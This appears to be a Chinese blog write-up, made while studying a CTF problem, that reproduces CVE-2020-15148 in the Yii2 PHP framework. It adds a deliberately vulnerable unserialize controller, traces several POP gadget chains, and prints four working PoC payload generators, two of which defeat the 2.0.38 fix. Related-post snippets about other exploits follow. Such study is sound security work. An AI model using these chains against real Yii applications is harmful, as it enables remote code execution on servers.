代码编织梦想

yii反序列化漏洞

Yii框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)

漏洞描述

yii2.2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize时,攻击者可以通过构造特定的恶意请求执行RCE,CVE编号是CVE-2020-15148.

2.0.38已修复该漏洞,官方的修复方法:

在yii\db\BatchQueryResult类增加了一个__wakeup()函数,函数内容为:当BatchQueryResult类被反序列化时直接报错,wakeup()方法在类被反序列化会自动调用,这样也就避免了反序列化的发生,避免了漏洞。

环境复现

本地使用phpstudy搭建,将Yii的demo下载下来:

https://github.com/yiisoft/yii2/releases/tag/2.0.37

image-20220405150922884

修改/config/web.php里的cookieValidationKey为任何值,不然会报错:
image-20220405151034659

进入目录,执行 php yii serve

image-20220405151201210

进入http:localhost:8080

image-20220405151252335

前置知识点

namespace:

PHP: 命名空间概述 - Manual

php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客

PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园

call_user_func_array()

[Yii2.0 路由(Route)的实现原理 2.0 版本 ]

所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由 r 查询参数来指定。
如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

controllers/TestController.php:

url:http:localhost:8080/?r=test/test&data=xxx

<?php

namespace app\controllers;

class TestController extends \yii\web\Controller
{
    public function actionTest($data)
    {
        return unserialize(base64_decode($data));
    }
  
}

漏洞分析

漏洞触发点在\yii-2.0.37\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中

/**
     * Destructor.
     */
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

__destruct()跟进reset(),继续跟进close(),发现close()里没有利用点。但是这里的 _dataRender是可控的,可以触发__call方法进行利用。

当一个对象调用不可访问的close方法或者类中没有close方法,即可触发 __call。全局搜索一下 __call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php中找到了合适的方法:

 /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$methodclose函数,$attributes为空,因为close函数形参为空。继续跟进format方法

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

发现了call_user_func_array()函数,看到了一丝希望。在这里解释一下call_user_func_array()函数:

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

使用方法:

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。

示例:

<?php
namespace Foobar;
class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
//输出:Hello Hannes

// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
//输出:Hello Philip
?>

继续跟进getFormmatter函数:

/**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

关注前半部分,发现$this->formatters是可控的,因此getFormmatter方法的返回值也是可控的,因此在call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

这时候就需要一个执行类,类中的方法需要满足两个条件:

  1. 方法所需的参数为自己类中存在的参数
  2. 方法需要有命令执行的功能

参考了一些大师傅的思路,call_user_func函数很符合以上的方法,这里介绍一下call_user_func

call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到RCE的作用。

好了,找一下带有call_user_func的类:

构造正则

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

找到了两个适合的类方法run:

yii\rest\CreateAction::run(), $this->checkAccess, $this->id两个参数可控

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

      	...

        return $model;
    }

yii\rest\IndexAction::run(), $this->checkAccess, $this->id两个参数可控

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

      return $this->prepareDataProvider();
    }

好了,POP链到此结束。整理一下:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Fake\Generator::__call()->format()->call_user_func_array
↓↓↓
yii\rest\IndexAction::run()->call_user_func

构造POC:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }

}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20220405215636196

成功复现。

其他pop链

其实还可以找到其他的pop链,还是以BatchQueryResult类的__destruct作为起点。还是跟到$this->_dataReader->close();,但是这次不以__ __call为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了yii\web\DbSession这个类:

  public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();
            YII_DEBUG ? session_write_close() : @session_write_close();
        }
    }

跟进getIsActive(),发现无法利用,跟进$this->composeFields();:

protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

出现了call_user_func函数:$this->writeCallback ? call_user_func($this->writeCallback, $this),且$this->writeCallback可控,因此调回的回调函数可控。

因此这里可以调用前面那条链的run方法,实现RCE。

整理一下POP链:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
yii\web\DbSession::close()->composeFields()->call_user_func()
↓↓↓
yii\rest\IndexAction::run()->call_user_func()

POC如下:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace yii\web{
    use yii\rest\IndexAction;

    class DbSession{
        public $writeCallback;
        public function __construct()
        {
            $this->writeCallback = [new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use yii\web\DbSession;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }

}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20220405233808886

成功复现。

针对2.0.38版本

POC-1

yii2.0.38做了如下更新,借用feng师傅的图

image-20220405234023595

增加了__wakeup(),在反序列化时直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。

类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct,经过排查,发现RunProcess类的__destruct可以利用:

public function __destruct()
{
	$this->stopProcess();	
}

继续跟进:

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

因为 t h i s − > p r o c e s s e s 可 控 , 所 以 this->processes可控,所以 this>processesprocess可控。这里$process->isRunning(),调用isRunning方法,因此又可以触发__call,然后继续反序列化。

构造POC:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = '1'; // rce
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(),'run'];
        }
    }
}

namespace Codeception\Extension{
    use Faker\Generator;

    class RunProcess{
        private $processes = [];
        public function __construct()
        {
            $this->processes[] = new Generator();
        }
    }

}

namespace {
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

image-20220405235504339

复现成功。

POC-2

还是看__destruct,发现\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php中的Swift_KeyCache_DiskKeyCache类可以利用:

public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

跟进clearAll()

public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}

继续跟进clearKey发现没有利用点,触发不了__call,不过看到了$this->path.'/'.$nsKey,存在字符串拼接问题,而$this->path$nsKey都是我们可控的,因此可以触发__toString。全局搜索一波,可以找到很多:

可以找到好多可以利用的__toString,我这里找到了vendor\phpDocumentor\Reflection\DocBlock\Tags\Covers.php里的

public function __toString() : string
    {
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }

看到了$this->description->render(),又可以利用__call了,于是第二条POP链又成了。

构造POC-2:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class Covers
    {
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{
    
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;
        public function __construct(){
            $this->path=new Covers();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

image-20220406004903894

复现成功。

总结

在ctfshow做题时遇到了yii反序列化,写这篇文章来记录下yii反序列化漏洞的利用以及复现,以后或许可以用得到,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_func、call_user_func_array的利用。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_44576725/article/details/123986819

干货|常用渗透漏洞poc、exp收集整理-爱代码爱编程

                                                                                                                       CVE-2014-4113 Win64bit本地提权漏洞CVE-2014-4878 海康RCE漏洞CVE-2017-01

所有Yii2 版本 反序例化漏洞修复-爱代码爱编程

什么是反序列化漏洞       也叫PHP对象注入,漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。这个漏洞并不是PHP特有,在Java、Python其他语言也存在,原理基本相通。   比较典型的PHP反序化漏洞可能会用到的魔

ctfshow反序列化-爱代码爱编程

payload(有效攻击负载)是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码 shellcode(可提权代码) 对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情 exp (Exploit )漏洞利用,一般是个dem

CodeIgniter及Yii 漏洞合集-爱代码爱编程

CodeIgniter漏洞 CodeIgniter 反序列化漏洞 一、任意文件读取 需要用到的rogue_mysql_server.py脚本GitHub:https://github.com/Gifts/Rogue-MySql-Server 配置POC文件配置恶意Mysql主机IP(攻击者外网IP): 配置py脚本 配置完毕后攻击机上运

Yii2 反序列化漏洞复现-爱代码爱编程

文章目录 环境搭建漏洞复现(CVE-2020-15148)漏洞分析其他反序列化链1(2.0.38可用)其他反序列化链2(2.0.38可用)自己找个__toString()其他反序列化链3(2.0.37可用) 环境搭建 下载yii2.0.37版本,https://github.com/yiisoft/yii2/releases/tag/2.0.

CVE-2019-9081--laravel5.7 反序列化漏洞复现-爱代码爱编程

目录​​​​​​​ 简介: 环境部署: 分析: 参考文章: 简介: 和yii一样,Laravel也是一套简洁、优雅的PHPWeb开发框架(PHP Web Framework)。  在laravel框架中没有找到合适的触发点,因此需要对基于laravel v5.7框架进行二次开发的cms进行再次审计,寻找可控的反序列化点,才能触发该漏洞。

YII链子学习反序列化-爱代码爱编程

YII反序列化链子学习思路: 入门学习反序列化的不二选择就是去yii框架中找链子。这也我是总结其他大佬挖的链子做的简单的、略为清晰一点复现尝试 第一条:CVE-2020-15148(0day) 思路: 首先肯定根据一个反序列化的点构造一条链。目前来说,只有__destruct和__wakeup这两个魔术方法可以使用 魔术方法__destruct,

yii2 反序列化漏洞复现与分析-爱代码爱编程

环境搭建 漏洞在yii2.0.38之前的版本,下载2.0.37basic版本 https://github.com/yiisoft/yii2/releases/tag/2.0.37 修改/config/web文件的值 在当前目录输入php yii serve启动 复现 先构造反序列化的入口 新建一个controller &

yii2.0.37反序列化漏洞审计-爱代码爱编程

源码地址 https://github.com/yiisoft/yii2/releases/tag/2.0.37 一、审计工具 phpstrom2020.1.3 二、审计步骤 1.由于刚刚搭建完成,yii本身并没有可以利用来反序列化的Action,所以添加controllers/TestController.php,代码如下 <?php

yii2反序列化漏洞总结-爱代码爱编程

文章目录 yii2框架 反序列化漏洞复现yii 框架搭建过程CVE-2020-15148复现链子2链子3链子4链子5链子6参考链接 yii2框架 反序列化漏洞复现 yii 框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用